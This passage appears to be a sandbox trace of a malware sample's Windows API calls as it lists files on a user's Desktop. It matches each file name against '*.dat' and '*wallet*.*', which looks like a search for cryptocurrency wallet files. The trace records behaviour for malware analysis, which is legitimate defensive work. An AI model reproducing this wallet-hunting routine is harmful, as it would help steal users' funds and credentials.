returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\z0fYM8SfWqHwA 3.xls" [0099.552] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.552] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.552] lstrcatW (in: lpString1="\\", lpString2="z0fYM8SfWqHwA 3.xls" | out: lpString1="\\z0fYM8SfWqHwA 3.xls") returned="\\z0fYM8SfWqHwA 3.xls" [0099.552] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104a0 [0099.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\z0fYM8SfWqHwA 3.xls", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0099.552] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x33) returned 0x33aaaa0 [0099.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\z0fYM8SfWqHwA 3.xls", cchWideChar=51, lpMultiByteStr=0x33aaaa0, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\z0fYM8SfWqHwA 3.xls", lpUsedDefaultChar=0x0) returned 51 [0099.552] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112ae0 [0099.552] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.552] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2112fb8 [0099.552] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2112fb8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.552] PathMatchSpecW (pszFile="z0fYM8SfWqHwA 3.xls", pszSpec="*.dat") returned 0 [0099.552] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd527b80, ftCreationTime.dwHighDateTime=0x1d7a623, ftLastAccessTime.dwLowDateTime=0x61bc5430, ftLastAccessTime.dwHighDateTime=0x1d7a755, ftLastWriteTime.dwLowDateTime=0x61bc5430, ftLastWriteTime.dwHighDateTime=0x1d7a755, nFileSizeHigh=0x0, nFileSizeLow=0xc942, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zl8tQFh7Qv.mkv", cAlternateFileName="ZL8TQF~1.MKV")) returned 1 [0099.553] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.553] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.553] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="Zl8tQFh7Qv.mkv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Zl8tQFh7Qv.mkv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Zl8tQFh7Qv.mkv" [0099.553] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.553] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.553] lstrcatW (in: lpString1="\\", lpString2="Zl8tQFh7Qv.mkv" | out: lpString1="\\Zl8tQFh7Qv.mkv") returned="\\Zl8tQFh7Qv.mkv" [0099.553] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Zl8tQFh7Qv.mkv", cchWideChar=46, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 46 [0099.553] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2e) returned 0x34300d0 [0099.553] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Zl8tQFh7Qv.mkv", cchWideChar=46, lpMultiByteStr=0x34300d0, cbMultiByte=46, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\Zl8tQFh7Qv.mkv", lpUsedDefaultChar=0x0) returned 46 [0099.553] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0099.553] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xc) returned 0x2112fe8 [0099.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=6, lpWideCharStr=0x2112fe8, cchWideChar=6 | out: lpWideCharStr="*.dat") returned 6 [0099.553] PathMatchSpecW (pszFile="Zl8tQFh7Qv.mkv", pszSpec="*.dat") returned 0 [0099.553] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd527b80, ftCreationTime.dwHighDateTime=0x1d7a623, ftLastAccessTime.dwLowDateTime=0x61bc5430, ftLastAccessTime.dwHighDateTime=0x1d7a755, ftLastWriteTime.dwLowDateTime=0x61bc5430, ftLastWriteTime.dwHighDateTime=0x1d7a755, nFileSizeHigh=0x0, nFileSizeLow=0xc942, dwReserved0=0x0, dwReserved1=0x0, cFileName="Zl8tQFh7Qv.mkv", cAlternateFileName="ZL8TQF~1.MKV")) returned 0 [0099.553] FindClose (in: hFindFile=0x6d1cd8 | out: hFindFile=0x6d1cd8) returned 1 [0099.553] GetLastError () returned 0x12 [0099.553] SetLastError (dwErrCode=0x12) [0099.553] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0099.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x34304c0, cbMultiByte=31, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 31 [0099.553] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3e) returned 0x21127c8 [0099.554] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x34304c0, cbMultiByte=31, lpWideCharStr=0x21127c8, cchWideChar=31 | out: lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned 31 [0099.554] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112f18 [0099.554] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21127c8 | out: hHeap=0x2110000) returned 1 [0099.554] lstrcpyW (in: lpString1=0x19d32c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.554] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\*.*" [0099.554] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\*.*", lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x13b96e47, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x13b96e47, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d1cd8 [0099.554] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.554] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.554] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\." [0099.554] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.554] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.554] lstrcatW (in: lpString1="\\", lpString2="." | out: lpString1="\\.") returned="\\." [0099.554] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0099.554] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x13b96e47, ftLastAccessTime.dwHighDateTime=0x1d7b3bd, ftLastWriteTime.dwLowDateTime=0x13b96e47, ftLastWriteTime.dwHighDateTime=0x1d7b3bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.554] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.554] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.554] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\.." [0099.554] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.554] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.555] lstrcatW (in: lpString1="\\", lpString2=".." | out: lpString1="\\..") returned="\\.." [0099.555] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0099.555] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0099.555] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x697a7bf0, ftCreationTime.dwHighDateTime=0x1d7a38d, ftLastAccessTime.dwLowDateTime=0x7c7bd330, ftLastAccessTime.dwHighDateTime=0x1d7ac06, ftLastWriteTime.dwLowDateTime=0x7c7bd330, ftLastWriteTime.dwHighDateTime=0x1d7ac06, nFileSizeHigh=0x0, nFileSizeLow=0x4b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="-yRZeNS0HWz.m4a", cAlternateFileName="-YRZEN~1.M4A")) returned 1 [0099.555] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.555] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.555] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="-yRZeNS0HWz.m4a" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\-yRZeNS0HWz.m4a") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\-yRZeNS0HWz.m4a" [0099.555] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.555] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.555] lstrcatW (in: lpString1="\\", lpString2="-yRZeNS0HWz.m4a" | out: lpString1="\\-yRZeNS0HWz.m4a") returned="\\-yRZeNS0HWz.m4a" [0099.555] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\-yRZeNS0HWz.m4a", cchWideChar=47, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0099.555] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2f) returned 0x34300d0 [0099.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\-yRZeNS0HWz.m4a", cchWideChar=47, lpMultiByteStr=0x34300d0, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\-yRZeNS0HWz.m4a", lpUsedDefaultChar=0x0) returned 47 [0099.555] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.555] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.555] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.555] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.555] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430e40 [0099.555] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430e40, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.555] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430510 [0099.555] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430e40 | out: hHeap=0x2110000) returned 1 [0099.555] PathMatchSpecW (pszFile="-yRZeNS0HWz.m4a", pszSpec="*wallet*.*") returned 0 [0099.557] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430510 | out: hHeap=0x2110000) returned 1 [0099.557] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.557] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb56bee60, ftCreationTime.dwHighDateTime=0x1d7a97b, ftLastAccessTime.dwLowDateTime=0x1f5f71c0, ftLastAccessTime.dwHighDateTime=0x1d7af67, ftLastWriteTime.dwLowDateTime=0x1f5f71c0, ftLastWriteTime.dwHighDateTime=0x1d7af67, nFileSizeHigh=0x0, nFileSizeLow=0x1825b, dwReserved0=0x0, dwReserved1=0x0, cFileName="0hIV.odt", cAlternateFileName="")) returned 1 [0099.557] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.557] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.557] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="0hIV.odt" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0hIV.odt") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0hIV.odt" [0099.557] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.557] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.557] lstrcatW (in: lpString1="\\", lpString2="0hIV.odt" | out: lpString1="\\0hIV.odt") returned="\\0hIV.odt" [0099.557] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa248 [0099.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0hIV.odt", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0099.557] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x28) returned 0x211acf0 [0099.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0hIV.odt", cchWideChar=40, lpMultiByteStr=0x211acf0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\0hIV.odt", lpUsedDefaultChar=0x0) returned 40 [0099.558] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.558] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x211acf0 | out: hHeap=0x2110000) returned 1 [0099.558] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa248 | out: hHeap=0x2110000) returned 1 [0099.558] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.558] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430d80 [0099.558] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430d80, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.558] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430650 [0099.558] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430d80 | out: hHeap=0x2110000) returned 1 [0099.558] PathMatchSpecW (pszFile="0hIV.odt", pszSpec="*wallet*.*") returned 0 [0099.558] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430650 | out: hHeap=0x2110000) returned 1 [0099.558] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.558] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf668b600, ftCreationTime.dwHighDateTime=0x1d7b3bc, ftLastAccessTime.dwLowDateTime=0xf7014c80, ftLastAccessTime.dwHighDateTime=0x1d7b3bc, ftLastWriteTime.dwLowDateTime=0x31aeb900, ftLastWriteTime.dwHighDateTime=0x1d7b3ac, nFileSizeHigh=0x0, nFileSizeLow=0x92600, dwReserved0=0x0, dwReserved1=0x0, cFileName="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", cAlternateFileName="1A0F89~1.EXE")) returned 1 [0099.558] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.558] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.558] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe" [0099.558] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.558] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.558] lstrcatW (in: lpString1="\\", lpString2="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe" | out: lpString1="\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe") returned="\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe" [0099.558] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xd0) returned 0x21104a0 [0099.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", cchWideChar=100, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 100 [0099.558] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x64) returned 0x21111c0 [0099.558] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", cchWideChar=100, lpMultiByteStr=0x21111c0, cbMultiByte=100, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", lpUsedDefaultChar=0x0) returned 100 [0099.558] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x2111230 [0099.559] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0099.559] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.559] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.559] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430ee0 [0099.559] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430ee0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.559] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430650 [0099.559] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ee0 | out: hHeap=0x2110000) returned 1 [0099.559] PathMatchSpecW (pszFile="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", pszSpec="*wallet*.*") returned 0 [0099.559] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430650 | out: hHeap=0x2110000) returned 1 [0099.559] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111230 | out: hHeap=0x2110000) returned 1 [0099.559] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7149550, ftCreationTime.dwHighDateTime=0x1d7aa3f, ftLastAccessTime.dwLowDateTime=0x12822e50, ftLastAccessTime.dwHighDateTime=0x1d7ab4a, ftLastWriteTime.dwLowDateTime=0x12822e50, ftLastWriteTime.dwHighDateTime=0x1d7ab4a, nFileSizeHigh=0x0, nFileSizeLow=0x175c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="1uAKNwE-0yc6at.mp3", cAlternateFileName="1UAKNW~1.MP3")) returned 1 [0099.559] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.559] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.559] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="1uAKNwE-0yc6at.mp3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1uAKNwE-0yc6at.mp3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1uAKNwE-0yc6at.mp3" [0099.559] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.559] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.559] lstrcatW (in: lpString1="\\", lpString2="1uAKNwE-0yc6at.mp3" | out: lpString1="\\1uAKNwE-0yc6at.mp3") returned="\\1uAKNwE-0yc6at.mp3" [0099.559] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x21104a0 [0099.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1uAKNwE-0yc6at.mp3", cchWideChar=50, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 50 [0099.559] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x32) returned 0x33aaa20 [0099.559] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1uAKNwE-0yc6at.mp3", cchWideChar=50, lpMultiByteStr=0x33aaa20, cbMultiByte=50, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\1uAKNwE-0yc6at.mp3", lpUsedDefaultChar=0x0) returned 50 [0099.559] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112cd8 [0099.559] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aaa20 | out: hHeap=0x2110000) returned 1 [0099.559] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.559] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.559] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430b60 [0099.559] 